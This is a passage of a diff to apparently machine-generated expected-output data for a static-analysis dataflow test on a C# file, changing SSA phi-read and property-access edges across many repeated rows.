 | UseUseExplosion.cs:24:2323:24:2328 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2323:24:2328 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2327:24:2327 | access to local variable x | UseUseExplosion.cs:24:2323:24:2328 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2338:24:2343 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2338:24:2343 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2327:24:2327 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2338:24:2343 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2338:24:2343 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2338:24:2343 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2342:24:2342 | access to local variable x | UseUseExplosion.cs:24:2338:24:2343 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2353:24:2358 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2353:24:2358 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2342:24:2342 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2353:24:2358 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2353:24:2358 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2353:24:2358 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2357:24:2357 | access to local variable x | UseUseExplosion.cs:24:2353:24:2358 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2368:24:2373 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2368:24:2373 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2357:24:2357 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2368:24:2373 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2368:24:2373 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2368:24:2373 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2372:24:2372 | access to local variable x | UseUseExplosion.cs:24:2368:24:2373 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2383:24:2388 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2383:24:2388 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2372:24:2372 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2383:24:2388 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2383:24:2388 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2383:24:2388 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2387:24:2387 | access to local variable x | UseUseExplosion.cs:24:2383:24:2388 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2398:24:2403 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2398:24:2403 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2387:24:2387 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2398:24:2403 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2398:24:2403 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2398:24:2403 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2402:24:2402 | access to local variable x | UseUseExplosion.cs:24:2398:24:2403 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2413:24:2418 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2413:24:2418 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2402:24:2402 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2413:24:2418 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2413:24:2418 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2413:24:2418 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2417:24:2417 | access to local variable x | UseUseExplosion.cs:24:2413:24:2418 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2428:24:2433 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2428:24:2433 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2417:24:2417 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2428:24:2433 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2428:24:2433 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2428:24:2433 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2432:24:2432 | access to local variable x | UseUseExplosion.cs:24:2428:24:2433 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2443:24:2448 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2443:24:2448 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2432:24:2432 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2443:24:2448 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2443:24:2448 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2443:24:2448 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2447:24:2447 | access to local variable x | UseUseExplosion.cs:24:2443:24:2448 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2458:24:2463 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2458:24:2463 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2447:24:2447 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2458:24:2463 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2458:24:2463 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2458:24:2463 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2462:24:2462 | access to local variable x | UseUseExplosion.cs:24:2458:24:2463 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2473:24:2478 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2473:24:2478 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2462:24:2462 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2473:24:2478 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2473:24:2478 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2473:24:2478 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2477:24:2477 | access to local variable x | UseUseExplosion.cs:24:2473:24:2478 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2488:24:2493 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2488:24:2493 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2477:24:2477 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2488:24:2493 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2488:24:2493 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2488:24:2493 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2492:24:2492 | access to local variable x | UseUseExplosion.cs:24:2488:24:2493 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2503:24:2508 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2503:24:2508 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2492:24:2492 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2503:24:2508 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2503:24:2508 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2503:24:2508 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2507:24:2507 | access to local variable x | UseUseExplosion.cs:24:2503:24:2508 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2518:24:2523 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2518:24:2523 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2507:24:2507 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2518:24:2523 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2518:24:2523 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2518:24:2523 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2522:24:2522 | access to local variable x | UseUseExplosion.cs:24:2518:24:2523 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2533:24:2538 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2533:24:2538 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2522:24:2522 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2533:24:2538 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2533:24:2538 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2533:24:2538 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2537:24:2537 | access to local variable x | UseUseExplosion.cs:24:2533:24:2538 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2548:24:2553 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2548:24:2553 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2537:24:2537 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2548:24:2553 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2548:24:2553 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2548:24:2553 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2552:24:2552 | access to local variable x | UseUseExplosion.cs:24:2548:24:2553 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2563:24:2568 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2563:24:2568 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2552:24:2552 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2563:24:2568 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2563:24:2568 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2563:24:2568 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2567:24:2567 | access to local variable x | UseUseExplosion.cs:24:2563:24:2568 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2578:24:2583 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2578:24:2583 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2567:24:2567 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2578:24:2583 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2578:24:2583 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2578:24:2583 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2582:24:2582 | access to local variable x | UseUseExplosion.cs:24:2578:24:2583 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2593:24:2598 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2593:24:2598 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2582:24:2582 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2593:24:2598 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2593:24:2598 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2593:24:2598 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2597:24:2597 | access to local variable x | UseUseExplosion.cs:24:2593:24:2598 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2608:24:2613 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2608:24:2613 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2597:24:2597 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2608:24:2613 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2608:24:2613 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2608:24:2613 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2612:24:2612 | access to local variable x | UseUseExplosion.cs:24:2608:24:2613 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2623:24:2628 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2623:24:2628 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2612:24:2612 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2623:24:2628 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2623:24:2628 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2623:24:2628 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2627:24:2627 | access to local variable x | UseUseExplosion.cs:24:2623:24:2628 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2638:24:2643 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2638:24:2643 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2627:24:2627 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2638:24:2643 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2638:24:2643 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2638:24:2643 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2642:24:2642 | access to local variable x | UseUseExplosion.cs:24:2638:24:2643 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2653:24:2658 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2653:24:2658 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2642:24:2642 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2653:24:2658 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2653:24:2658 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2653:24:2658 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2657:24:2657 | access to local variable x | UseUseExplosion.cs:24:2653:24:2658 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2668:24:2673 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2668:24:2673 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2657:24:2657 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2668:24:2673 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2668:24:2673 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2668:24:2673 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2672:24:2672 | access to local variable x | UseUseExplosion.cs:24:2668:24:2673 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2683:24:2688 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2683:24:2688 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2672:24:2672 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2683:24:2688 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2683:24:2688 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2683:24:2688 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2687:24:2687 | access to local variable x | UseUseExplosion.cs:24:2683:24:2688 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2698:24:2703 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2698:24:2703 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2687:24:2687 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2698:24:2703 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2698:24:2703 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2698:24:2703 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2702:24:2702 | access to local variable x | UseUseExplosion.cs:24:2698:24:2703 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2713:24:2718 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2713:24:2718 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2702:24:2702 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2713:24:2718 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2713:24:2718 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2713:24:2718 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2717:24:2717 | access to local variable x | UseUseExplosion.cs:24:2713:24:2718 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2728:24:2733 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2728:24:2733 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2717:24:2717 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2728:24:2733 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2728:24:2733 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2728:24:2733 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2732:24:2732 | access to local variable x | UseUseExplosion.cs:24:2728:24:2733 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2743:24:2748 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2743:24:2748 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2732:24:2732 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2743:24:2748 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2743:24:2748 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2743:24:2748 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2747:24:2747 | access to local variable x | UseUseExplosion.cs:24:2743:24:2748 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2758:24:2763 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2758:24:2763 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2747:24:2747 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2758:24:2763 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2758:24:2763 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2758:24:2763 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2762:24:2762 | access to local variable x | UseUseExplosion.cs:24:2758:24:2763 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2773:24:2778 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2773:24:2778 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2762:24:2762 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2773:24:2778 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2773:24:2778 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2773:24:2778 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2777:24:2777 | access to local variable x | UseUseExplosion.cs:24:2773:24:2778 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2788:24:2793 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2788:24:2793 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2777:24:2777 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2788:24:2793 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2788:24:2793 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2788:24:2793 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2792:24:2792 | access to local variable x | UseUseExplosion.cs:24:2788:24:2793 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2803:24:2808 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2803:24:2808 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2792:24:2792 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2803:24:2808 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2803:24:2808 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2803:24:2808 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
